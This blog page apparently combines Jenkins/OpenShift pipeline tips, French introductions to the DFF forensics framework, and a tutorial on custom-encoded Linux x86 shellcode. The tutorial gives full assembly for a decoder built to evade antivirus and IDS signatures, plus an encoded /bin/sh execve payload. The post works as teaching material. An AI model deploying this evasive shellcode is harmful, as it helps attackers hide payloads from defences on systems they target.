Lessons learned from using Jenkins on containers a.k.a CloudBees CI

Recently, I encountered some issues with a (Jenkins) declarative pipeline running on CloudBees CI, specifically for a Python project. The CloudBees CI instance was operating within an OpenShift Platform (OCP) cluster, and I was employing the Kubernetes plugin for managing agents/slaves.

Here are the lessons learned, some of them linked to OCP/K8S, some linked to CloudBees CI, some linked to Python and some other linked to all this technologies put together:

  1. Make sure that the application packaged as image is running properly when executed from a plain Docker/Podman system.
  2. The container/s will be run into a pod so the (Dockerfile) WORKDIR instruction (if defined) in the container/s will be ignored. If you need to define a working directory then you should specify this into the pod definition via pod.spec.template.spec.containers.workingDir.
  3. The default working directory for the running container/s will be (Jenkins) ${env.WORKSPACE}.
  4. If the pipeline code is fetched from a Git repository then the repository will be automatically mapped as volume inside the container/s under the folder ${env.WORKSPACE}
  5. For container/s running Python the sys.path variable will be: ‘ ‘, ${env.WORKSPACE}, container.PYTHONPATH  in this specific order, where ‘ ‘ is the current directory which by default will be ${env.WORKSPACE} (see point number 3). So the default sys.path will be: ${env.WORKSPACE}, ${env.WORKSPACE}, container.PYTHONPATH 
  6. The (nasty) side effect of the previous point is that if there are Python modules in Git repository (which is mounted in the container, see point number 4) and in the container/s, having the same name, then the module/s from the Git repository will be used for execution and not the one from container/s.
  7. If you want to revert the situation from previous point the only way is to play on the first element of the sys.path variable which will always be the current directory (‘ ‘). If the first element of the sys.path is / then the container/s modules will be used for execution instead of the Git repository modules.
  8. The sys.path variable is computed at runtime by the Python interpreter so it cannot be modified in advance (like the PYTHONPATH environment variable) prior to the execution of a program.  

 

How to write a (Linux x86) custom encoded shellcode

Goal

Very often the shellcode authors will try to obfuscate the shellcode in order to bypass the ids/ips or the anti-viruses. This kind of shellcode is often call an “encoded shellcode”.  The goal of this ticket is to propose an (rather simple) encoding schema and the decoding part written in assembler.

What is an encoded shellcode

An encoded shellcode is a shellcode that have the payload encoded in order to escape the signature based detection. To work correctly the shellcode must initially decode the payload and then execute it. For a very basic example you can check the A Poor Man’s Shellcode Encoder / Decoder video.

(My) custom encoder

The encoding schema that I propose is the following one:

  • the payload is split in different blocks of random size between 1 and 9 bytes.
  • the first octet of each block represents the size of the original block.
  • the last character of the last block is a special character represented a terminal (0xff).

Supposing that the payload is something like:

0xaa,0xbb,0xcc,0xdd,0xee

One possible encoding version could be:

0x02,0xaa,0xbb,0x01,0xcc,0x03,0xdd,0xee,0xff

or

0x04,0xaa,0xbb,0xcc,0xdd,0x02,0xee,0xff

or

0x09,0xaa,0xbb,0xcc,0xdd,0xee,0xff

If you want to play with this encoding schema you can use the Random-Insertion-Encoder.py program that will write to the console the encoded shellcode for a specific shellcode.

(My) custom decoder

So, initially the payload will be encoded (with the custom shema) and when the shellcode is executed, in order to have a valid payload, the decoder should be executed. The decoder will decode the payload and then pass the execution to the payload.

The first problem that the decoder should solve is to find the memory address of the encoded payload. In order to do this, we will use the “Jump Call Pop” mechanism explained in the Introduction to Linux shellcode writing (Part 2) (paragraph 5.1 ).

The  skeleton of the decoder will look like:

global _start 
section .text
_start:
 jmp short call_shellcode
decoder:
 ; the top of the stack contains the
 ; address of the EncodedShelcode
 
 ; decoder code
call_shellcode:
 call decoder
 EncodedShellcode: db 0x06,.........,0xff

 A few words before showing you the code of the decoder. The decoder basically moves bytes from the right toward the left and skip the first byte of each block until the terminal byte is found. For the move of the bytes the lodsb and stosb instructions are used. These instructions are using the ESI (lodsb) and EDI (stosb) registers, so you can see ESI as a source register and EDI as a destination register.

The DL register is used as block bytes counter and the CL register contains the content of the first byte of each block. So, in order to know if all the bytes of a block had been copied a comparison between DL and CL is done.

A special care should be take before the ESI register is incremented; either manually or automatically by the lodsb instruction. A check should be done if the ESI points to the terminator byte and stop the copy otherwise the decoder will try to read memory locations that do not have access (and the program will stop with a core dumped exception).

So, here is the code of the decoder:

global _start 
section .text
_start:
 jmp short call_shellcode

decoder:
 ;get the adress of the shellcode
 pop esi

 ;allign edi and esi
 lea edi, [esi]

handle_next_block:
 ;check that the esi do not point
 ;to the terminator byte
 xor ecx,ecx
 mov cl, byte[esi]
 mov bl , cl
 xor bl, 0xff

 ;if esi points to terminator byte
 ;then execute the shellcode
 jz short EncodedShellcode

 ;otherwise then ship next byte
 ;because it's the first byte
 ;of the block and it contains
 ;the number of bytes that
 ;the block contains.
 inc esi
 
 ;dl it is used to count the
 ;number of bytes from a block
 ;already copied
 xor edx, edx
 
handle_next_byte:
 ;check that the esi do not point
 ;to the terminator byte
 mov bl, [esi]
 xor bl, 0xff
 
 ;if esi points toterminator byte
 ;then execute the shellcode
 jz short EncodedShellcode
 
 ;otherwise copy the byte pointed by
 ;esi to the location pointed by edi;
 ;esi is automatically incremented by
 ;the lodsb and edi by stosb
 lodsb
 stosb
 
 ;one more byte of the block had been copied
 ;so increment the counter
 inc dl
 
 ;check that all the bytes of the block
 ;have been copied;
 ;cl contains the first byte of the block
 ;representing the number of bytes of the
 ;block and dl contains the number of
 ;block bytes already copied
 cmp cl, dl
 
 ;if not zero then not all the block bytes
 ;have been copied
 jnz handle_next_byte
 
 ;otherwise go to the next block
 jmp handle_next_block
call_shellcode:
 call decoder
 EncodedShellcode: db 0x06,0x31,0xc0,0x50,0x68,0x2f,0x2f,0x09,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x01,0x50,0x07,0x89,0xe2,0x53,0x89,0xe1,0xb0,0x0b,0x01,0xcd,0x09,0x80,0xff

How to test the shellcode

In order to test the shellcode you must follow the next steps:

All the source codes presented in this ticket can be found here: gitHub.

Bibliography

Introduction à la plateforme Digital Forensic Framework (DFF) (2)

L’interface graphique de DFF

L’interface graphique de DFF est développée utilisant le framework PyQt qui est un framework graphique multi-plateformes donc DFF est capable de fonctionner sur plusieurs plateformes : Linix, FreeBSD, Windows(XP, Vista), MacOS. L’interface principale est composée de 4 zones principales :

  • « Application menus » – Les menus de l’application. Pour la définition détaillée de tous les menus, veuillez consulter la page suivante du wiki DFF.
  • « Application toolbar » – La barre d’outils est utilisée pour effectuer des actions telles que l’ajout d’un container des données ou d’un disc en DFF, ou l’ouverture de vues graphiques. Pour la définition détaillée de la barre d’outils, veuillez consulter la page suivante du wiki DFF.
  • « Project Browser » – La zone où les résultats des analyses seront affichés. Il peut être comparé à un navigateur de fichiers sur un système d’exploitation. Pour la définition détaillée du « project bowser », veuillez consulter la page suivante du wiki DFF.
  • « Project Toolbar » Cette zone serve à modifier l’affichage des résultats d’analyse et de naviguer dans les résultats de l’analyse.
  • « Task Manager » – Zone qui montre l’historique des tâches exécutées, les messages d’erreurs et d’information générés par l’exécution des différents modules et la liste des modules qui peuvent être utilisés, avec la liste des paramètres, qu’ils peuvent prendre en entrée. Pour la définition détaillée du « task manager », veuillez consulter la page suivante du wiki DFF.

L'interface graphique de DFF
L’interface graphique de DFF

Cas pratique IHM (chercher des fichiers d’images dans un container EWF)

Ce cas pratique a comme but de charger un container de données EWF et de chercher des fichiers de type JPG.

Les étapes du cas pratique sont les suivantes :

  • charger le container des données ;
  • monter le système de fichiers contenu dans le container ;
  • chercher des fichiers d’images sur le système de fichiers ;
  • sauver les fichiers retrouvés sur le disque.

Charger le container de données

Dans le  menu File-> « Open evidence file(s) » ou dans la barre d’outils click sur l’icône  dff16. Ensuite on choisit le container de données a charger (voir la figure suivante).

Chargement d’un container de données dans l'IHM de DFF
Chargement d’un container de données dans l’IHM de DFF

Même si c’est n’est pas visible, l’IHM de DFF a utilisé le module ewf pour créer n VFS.

Monter le système de fichiers contenu dans le container

Une fois le container chargé, il faut monter le système de fichiers. DFF est capable de savoir que le container chargé contient un système de fichiers NTFS et vas automatiquement utiliser le module ntfs. Pour appliquer le module ntfs sur le container il faut aller dans le « Data display area » et faire un click droit ensuite choisir l’option « Relevant module » (voir la figure suivante). On voit ensuite apparaitre l’arborescence du disque après le traitement par le module NTFS.

Chargement d’un système de fichiers NTFS dans l’IHM de DFF
Chargement d’un système de fichiers NTFS dans l’IHM de DFF

Chercher des fichiers d’images sur le système de fichiers

Une fois le système de fichiers chargé, on peut naviguer sur ce système de fichiers  ou on peut appliquer des modules pour récupérer d’informations. On appliquera le module find sur le nœud NTFS (voir figure suivante) :

L'utilisation du module "find" sur un noeud NTFS
L’utilisation du module “find” sur un noeud NTFS

Le module find accepte quelques paramètres comme le nom du filtre (ce nom sera utilisé pour créer un nouveau nœud dans le VFS contenant les résultats de la recherche), si la recherche est récursive ou pas, l’expression utilisée pour rechercher des fichiers (dans notre cas l’expression sera name == w(“*.jp?g”, i)).

Les paramètres du module "find"
Les paramètres du module “find”

Le module find a trouvé des fichiers et a stocké les résultats dans le nouveau nœud du VFS nommé comme le nom du filtre. Ce nouveau nœud est attaché au noeud « Searched Items » (voir la figure suivante).

Le résultats de l'exécution du module "find"
Le résultats de l’exécution du module “find”

Sauver les fichiers retrouvés sur le disque

La dernière étape consiste à extraire les résultats trouvés a l’étape précédente sur le disque. Pour transformer un nœud du VFS en fichier (physique) sur le disque, il faut utiliser le module extract.

L'utilisation du module "extract"
L’utilisation du module “extract”

L’interface en ligne de commande de DFF

A part l’interface graphique, DFF a aussi une interface en ligne de commande (CLI). Il y a deux façons de démarrer l’interface en ligne de commande :

  • a partir de l’IHM de DFF en cliquant sur l’icône dff23 (shell) dans la barre d ‘outils
  • en exécutant la commande dff.py à partir d’une console.

L’utilisation de l’interface en ligne de commande suit le même patron de conception (‘’pattern’’) que l’utilisation de l’IHM. Dans la figure suivante, on peut voir tous les modules disponibles à partir de la ligne de commande.

L'interface en ligne de commande de DFF
L’interface en ligne de commande de DFF

Les scripts sont une des nouvelles fonctionnalités de la version 1.2  de DFF. Les scripts sont des fichiers contenant des commandes shell DFF et peuvent être exécutés utilisant la ligne de commande suivante dff.py –b leFichierDeScript.

Cas pratique scripting (chercher des fichiers d’images dans un container EWF)

On prend le même cas pratique que celui utilisé pour illustrer l’utilisation  de l’IHM.  Le script qui exécute les mêmes actions que celles de l’IHM est le suivant :

#charger le container de données utilisant le module ewf 
ewf WinXP2.E01
#monter le système de fichiers utilisant le module ntfs
ntfs WinXP
#utiliser le module find pour chercher des fichiers
find /WinXP/NTFS --filter_name jpg_images --recursive --save_result 
 --expression 'name==w("*.jp?g",i)'

#utiliser le module extract pour stocker sur disque les images 
#retrouvées par le module find 
extract --recursive --files Searched\ items/jpg_images --syspath ./

L’idée des scripts DFF semble être très bonne, pourtant dans la version actuelle, l’implémentation ne semble pas totalement achevée. Parmi les principaux défauts de cette implémentation, le plus évident est le fait de ne pas pouvoir récupérer le code de retour de l’exécution d’une commande (module). La deuxième faiblesse est l’absence totale d’instructions conditionnelles et des boucles. Ces deux défauts rendent impossible la création et l’exploitation des scripts automatiques pour la plateforme DFF.

 

Le produit commercial DFF Live

Depuis le mois de Juin 2012, ArxSys commercialise un produit basé sur DFF, appelé « DFF Live » [DFFLIVE]. DFF Live est livré sur une clé USB et est présenté comme un laboratoire d’investigation digitale nomade.

D’après la société ArxSys, le produit « DFF Live » a des fonctionnalités d’investigation numérique des systèmes vivants (liste de connexions réseaux, extraction des fichiers de temporaires, collection des données volatiles)  et des fonctionnalités d’investigation numérique a  froid (analyse des différents systèmes des fichiers, analyse des journaux d’évènements Windows, récupération des données cachées et supprimées).

Conclusion

Le framework DFF est un produit assez nouveau, mais pourtant il commence à avoir une certaine reconnaissance internationale. Le produit est présent dans certaines distributions numériques comme DEFT, BackTrack et SAN SIFT. DFF est facile à installer et l’interface graphique est ergonomique et facile a utiliser. Techniquement parlant, DFF a certains atouts : il est multi-plateformes, la notion de système de fichiers virtuel (VFS) rend la compréhension du framework plus facile, la possibilité d’étendre les fonctionnalités de base par l’ajout des modules écrits en Python. Par contre, DFF manque cruellement d’une documentation claire et précise, surtout pour les développeurs (il n’y a pas de documentation de l’api Python concernant le VFS).

Introduction à la plateforme Digital Forensic Framework (DFF) (1)

Digital Forensic Framework [DFF] est un logiciel open source développé par ArxSys[ARXSYS]. C’est un nouvel arrivant dans le monde des logiciels d’investigation numérique. Il se veut être multiplateforme, automatisable, portable et modulaire.

DFF est un outil d’analyse et présentation de données et il est capable d’extraire, analyser et mettre en corrélation des traces suspectes et des données de différents fichiers, provenant d’acquisitions de supports numériques, tels que les disques durs, la mémoire vive ou les téléphones cellulaires. Il peut également être utilisé pour récupérer des données supprimées.

Écrit en Python et C++, il est multi-plateforme, hautement modulaire et personnalisable. L’interface graphique est développée avec PyQt [PYQT]. L’interfaçage et les transformations entre Python et C++ sont obtenus grâce à Swig [SWIG].

DFF est divisé en quatre différentes couches logicielles (voir la figure suivante), communiquant entre elles par une interface de programmation applicative (API) : la couche de base (Core Layer), les modules, l’interface utilisateur et le shell.

Les couches logicielles de DFF
Les couches logicielles de DFF

La couche de base de DFF

Cette couche peut être considérée comme le cœur du framework. Elle fait l’interface avec le système d’exploitation et est utilisée pour charger et exécuter les modules. L’exécution des modules est automatique car la couche de base est conçue pour savoir quel module est requis et ensuite l’exécuter. Cette couche offre également aux modules la possibilité de renvoyer les données analysées sous la forme de nœuds (dans un arbre).

L’espace mémoire où ces nœuds sont créés est appelé un Système de Fichiers Virtuel (VFS pour Virtual File System). Chaque nœud peut être généré par un module différent et avoir des attributs spécifiques. Ce mécanisme permet à la couche de base de générer des rapports en mettant en corrélation toutes les données en provenance des modules, tout en restant indépendant des modules eux-mêmes. Même si un module plante après la création des nœuds, la couche de base sera en mesure d’exploiter ces nœuds. Les modules étant conçus pour l’investigation numérique, ils permettent aussi de révéler les données non allouées et cachées.

DFF offre aux utilisateurs une vue arborescente des données analysées. Par exemple, si un système de fichiers NTFS est analysé, tout son contenu sera visible dans l’interface graphique DFF, sous la forme d’un arbre: chaque répertoire contenant des fichiers et des répertoires, eux-mêmes contenant des fichiers et des répertoires, et ainsi de suite. DFF agit plus ou moins comme un navigateur de fichiers sur n’importe quel système d’exploitation. Dans DFF ces fichiers et répertoires sont appelés nœuds. Les nœuds sont créés par des modules suite à une analyse des données.

Les nœuds sont stockés dans un espace mémoire appelé VFS (Virtual File System). Le VFS peut être vu comme un système de fichiers en lecture seule utilisés par DFF pour stocker les nœuds. Lorsque DFF est lancé, une et une seule instance de VFS est créée ; dans d’autres termes, VFD est un singleton.

Les VFS contient la liste de tous les nœuds et chacun des nœuds contient un pointeur vers le nœud de son parent (ou NULL pour le nœud racine) et une liste de pointeurs vers ses enfants (le cas échéant).

Un nœud peut représenter pratiquement n’importe quel type de données. Une fois qu’il est créé, il devrait être ajouté au VFS afin qu’il puisse être visible dans l’interface graphique ou shell. Les deux caractéristiques importantes d’un nœud sont son nom et sa taille Si rien n’est défini, les valeurs par défaut sont une chaîne vide pour le nom et 0 octet pour la taille.

Mais ces informations pourraient ne pas suffire. Nous avons dit qu’un nœud peut représenter n’importe quel type de données. Si l’on prend comme exemple, un fichier d’un système de fichiers, le nœud aura un nom et une taille (donnés par le système de fichiers) mais aussi beaucoup d’autres informations telles que les métadonnées, les pointeurs pour indiquer la position de son contenu sur le système de fichiers, etc.

Dans DFF, ces informations supplémentaires sont appelées des attributs étendus. Ces attributs sont composés d’une liste de paires clé/valeur, où la clé doit être une chaîne de caractères.

Les modules DFF

Chaque module DFF est conçu pour analyser un type spécifique de données, tels que les systèmes de mémoire RAM de fichiers, ou des cadres du réseau. Les modules créent des nœuds, les attachent au VFS, et en fonction du type de données, génèrent des informations supplémentaires telles que les indications de temps ou métadonnées d’extraction.

La version actuelle de la DFF (1.2 au moment de la rédaction du présent rapport) est livrée avec de nombreux modules qui effectuent des tâches diverses : le traitement des images mémoire des téléphones mobiles, la visualisation des films et des images, la génération des statistiques sur un nœud ou un ensemble de nœuds. Comme toutes les tâches d’analyse dans DFF sont effectuées via des modules, l’interface de programmation (API) a un grand nombre de fonctionnalités disponibles. Des modules supplémentaires peuvent être écrits en C++ ou Python.

Les modules contenus en DFF peuvent être classées en 3 catégories (voir le schéma suivant):

  • les modules qui chargent des systèmes de fichiers/volumes/partitions.
  • les modules qui actionnent sur les nœuds du VFS.
  • les modules qui matérialisent les nœuds du VFS en fichiers sur disque.

Classification des modules DFF
Classification des modules DFF

Modules qui chargent des systèmes de fichiers/volumes/partitions

Le tableau suivant liste les modules DFF.

Fonctionnalité Module Shell IHM Commentaire
Container de données local Oui Oui
ewf Oui Oui
aff Oui Oui Pas d’information disponible
device Oui Oui
readlines Oui Oui Pas d’information disponible
Partition partition Oui Oui
vmware Oui Oui
Système des fichiers fat Oui Oui
ntfs Oui Oui
efs Oui Oui
Contenu du RAM volatility Oui Oui Pas d’information disponible

Modules qui actionnent sur les nœuds du VFS

Une fois que le système de fichiers est chargé, DFF offre une vue arborescente du système de fichiers, arborescence sur laquelle d’autres modules sont capables de travailler. Parmi les fonctionnalités offerts, on peut trouver des modules qui affichent le contenu d’un nœud (hexadecimal, diff, picture, text, web, player), des modules qui sont capables des chercher des nœuds ayant certains caractéristiques (find, carver).

Le tableau suivant liste les modules DFF.

Fonctionnalité Module Shell IHM Commentaire
Chercher find Oui Oui
carver Oui Non
carverui Oui Non Pas d’information disponible
carvergui Non Oui Pas d’information disponible
Visualiser hexadecinal Oui Oui
diff Oui Oui
pictures Non Oui
text Oui Oui
player Non Oui Pas d’information disponible
web Non Oui Pas d’information disponible
Archiver unzip Oui Oui
Chiffrement unxor Oui Oui
Base de données Winreg Oui Oui
Hachage hash Oui Oui
Métadonnées pour les images metaexif Oui Oui
Téléphones mobiles smsdecode Oui Oui Pas d’information disponible
k800i Oui Oui Pas d’information disponible
K800-i-Recover Oui Oui Pas d’information disponible
Statistiques timeline Non Oui
fileschart Non Oui Pas d’information disponible

Modules qui matérialisent les nœuds du VFS en fichiers sur disque

La dernière étape d’une analyse avec DFF est la récupération des résultats qui consistent donc à matérialiser un ou plusieurs nœuds du VFS dans des fichiers sur disque.

Fonctionnalité Module Shell IHM Commentaire
Ecrire nœuds sur disque extract Oui Oui Pas d’information disponible

Modules définis par l’utilisateur

DFF offre la possibilité à l’utilisateur de créer ses propres modules utilisant l’IDE inclus dans DFF. L’IDE de DFF peut être utilisé pour générer des squelettes des scripts DFF, de modules ou de modules graphiques. Pour le lancer, vous pouvez utiliser l’icône dff3 de la barre d’outils d’application ou à partir du menu  IDE -> Open.

La figure suivante présente une capture d’écran de l’IDE de DFF :

L'ide de DFF
L’ide de DFF

La partie gauche est utilisée pour naviguer sur le système de fichiers et pour sélectionner le fichier à ouvrir (seuls les fichiers Python peut être ouvert). Pour ouvrir un fichier cliquez deux fois sur son nom et son contenu sera affiché.
Voici la description des différentes icônes de la barre d’outils:

  • dff5 New empty file : Ouvre un fichier vide dans l’IDE.
  •  dff6 Generate skeleton : Lance l’assistant pour générer le squelette d’un nouveau module.
  •  dff7 Open file : Ouvre un fichier existant.
  •  dff8 Save : Sauve le fichier.
  •  dff9 Save as : Sauve un fichier sous un nom choisi par l’utilisateur.
  •  dff10 Load : Compile le module et le charge dynamiquement en DFF.
  •  Untitled1 Undo : Annule l’action précédente.
  •  dff12 Redo : Répete l’action precedente.
  • dff13 Comment : Commente la ligne sur laquelle le curseur de la souris se trouve.
  •  dff14 Uncomment : « Dé-commente » la ligne sur laquelle le curseur de la souris se trouve.

L’IDE de DFF permet de créer très rapidement un squelette d’un module et donc facilite la tâche du développeur. Par contre, pour créer un module ayant une certaine utilité, il faut aussi connaître l’API (Python) de DFF.